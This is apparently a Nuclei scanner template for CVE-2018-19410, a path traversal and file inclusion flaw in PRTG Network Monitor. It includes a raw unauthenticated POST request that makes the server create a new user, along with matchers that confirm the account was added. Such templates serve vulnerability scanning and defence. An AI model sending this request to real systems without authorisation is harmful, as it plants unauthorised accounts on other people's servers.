id: CVE-2018-19410

info:
  name: "PRTG Network Monitor - Path Traversal"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    PRTG Network Monitor before 18.2.40.1683 allows remote unauthenticated attackers to create users with read-
    write privileges (including administrator). A remote unauthenticated user can craft an HTTP request and
    override attributes of the 'include' directive in /public/login.htm and perform a Local File Inclusion attack,
    by including /api/addusers and executing it.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2018-19410&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=prtg&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-19410
  metadata:
    verified: false
  tags: cve,cve2018,prtg,lfi,kev,vkev,vuln
variables:
  username: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /public/login.htm?file=/api/addusers.htm HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Origin: {{RootURL}}
        Referer: {{RootURL}}

        id=200&users={{username}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Added 1 users'
          - 'prtg'
        part: body
        condition: and

      - type: status
        status:
          - 200